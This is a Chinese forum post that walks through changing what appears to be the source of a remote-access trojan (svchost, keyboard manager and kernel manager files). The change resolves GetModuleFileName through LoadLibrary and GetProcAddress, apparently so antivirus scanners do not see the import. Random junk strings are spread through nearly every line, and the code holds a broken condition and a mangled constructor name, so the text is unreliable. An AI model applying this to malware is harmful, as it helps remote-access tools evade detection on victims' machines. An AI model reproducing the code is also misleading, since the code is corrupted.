返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记, o; [% j% X1 A) P
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h; B) w0 r' a& m0 |5 ?1 _
----------------------------------------; f$ S- C  u3 T, v5 s7 }
DTDY.h:
6 L* ^9 K- b" p- ?8 G6 X1 I' A, Z) d6 a" n6 e; S( g* N
#if _MSC_VER>10007 A$ v% t: w  u1 I0 U
#pragma once
$ ]. F4 u' w* R! Y; E#endif //_MSC_VER>1000
6 M7 ^* G4 T& [/ k1 a, r  |. I#include<windows.h>' M- W8 I5 C, H& _3 ^6 ^6 X
8 u2 V2 F! k: C5 o; g/ [% C
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
0 G; K* ]) K" ^& Y+ J* Nclass DTDY: q7 W$ W+ J& Z$ i
{, J+ w2 P% d; Q, a0 j# a9 i7 c4 ^7 u
public:4 E6 ^+ H7 x! i* I* r( g6 i
DTDY();
4 U$ [' B# i# j& G8 Hvirtual ~DTDY();: P9 ]3 I( `. x8 v- ~. G
public:
4 E' {  s8 s5 n2 M$ {9 Ystatic pGetModuleFileNameA MyGetModuleFileName;
9 V' z: ^7 ?  _8 ]8 `+ z9 c' L. Ystatic BOOL FunInitiallization();
6 B8 c: m) V: C. \! `};  S; }7 @" A  A8 T' F  ?( C- j: \2 R2 C
#endif3 s; z/ F/ z  ~
----------------------------------------; c6 s9 ~% n: t2 }; ^
0 q# Z3 J2 Q& t
DTDY.cpp:
2 u- O3 S% b' m
6 ?6 }+ `1 ]; M% e( F#include "DTDY.h"
) o) F# V, U& V  g4 C& ~pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;* E4 u. w' [3 a: N9 J3 A
DTDY:TDY()9 B: h2 j( `4 R& r% r' B
{9 F' N3 @- I/ E* I5 Z* e; l
}
* k. P# B' E, R/ nDTDY::~DTDY()
2 W7 l; y" `9 C4 I- _+ u{
+ k' h7 I$ H- q2 Z) U% ?& M}- x# f4 F0 \% C) g! M4 z# X! n
BOOL DTDY::FunInitiallization()
1 X' u! f! c1 y$ i{9 q1 G2 M7 S8 X: H% V: c
HMODULE hModule=LoadLibrary("kernel32.dll");
) i% W. @! m$ A: pMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
- K7 Y6 m3 w+ O1 H+ cif(!MyGetModuleFileName=) return FALSE;1 m8 o4 R# i! d6 G5 u

9 n' Z( E! y! Greturn TRUE;
) }" {3 h( B6 ~! P2 R) y5 M}( _1 O6 L1 ~) F* q/ S
----------------------------------------
7 ]5 n4 m( D' w* M( B! W. Tsvchost.cpp:1 y+ n) ]% b' T3 t) U  c2 |0 ]
0 a7 w6 W, ?7 G7 ]
#include "DTDY.h"# E* z3 B& h3 v6 E5 O4 Q
6 w  F+ |! R- A% r. r
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
& t8 [, b; R; ~3 B( j8 U, n{( a. I7 `# b8 @7 ^! M! m5 `7 f
switch(ul_reason_for_call)2 n* R: C# x( G( r7 {  f
{* ]4 T0 W- X/ _5 t8 `# M3 X
case DLL_PROCESS_ATTACH:
" \' V' O* ^& A- g. k. _( I9 uif(!DTDY::FunInitiallization()) return FALSE;$ s7 x! l! o/ L5 R+ P
* p. r/ u& M: T& e, B
break;
& e8 V* B6 o/ Y}* T7 y4 D: K7 i: B7 f5 u6 y& X6 e3 E
}
1 E9 z# x; M7 D: o3 ~4 f9 A( }; R7 x2 v8 F4 L2 j) Q8 \# \7 `/ I& ?
* `: e9 `* o" X0 w7 ^7 E6 ^0 g
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def4 N; _$ q: E  r1 I
改写为
# d, U: P- v# R6 f7 T1 o5 v$ T8 u& ?DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
; f$ ]; A8 L) a9 W8 u/ V7 M) |----------------------------------------
* J8 i& O. N3 V* [! R4 GKernelManager.cpp:
; x) E. P& W- V$ R" E4 Y" L+ |( o0 |/ g: b; N: \; h: h
#include "../DTDY.h"2 O" g& ~3 ~" q4 j7 Z1 V" B6 s
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
4 @* I9 q( k4 p2 b5 r改写为# V- U, h/ z6 L3 b- [$ q& Q; X. M
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
* {1 W3 J0 n9 [& h----------------------------------------

返回列表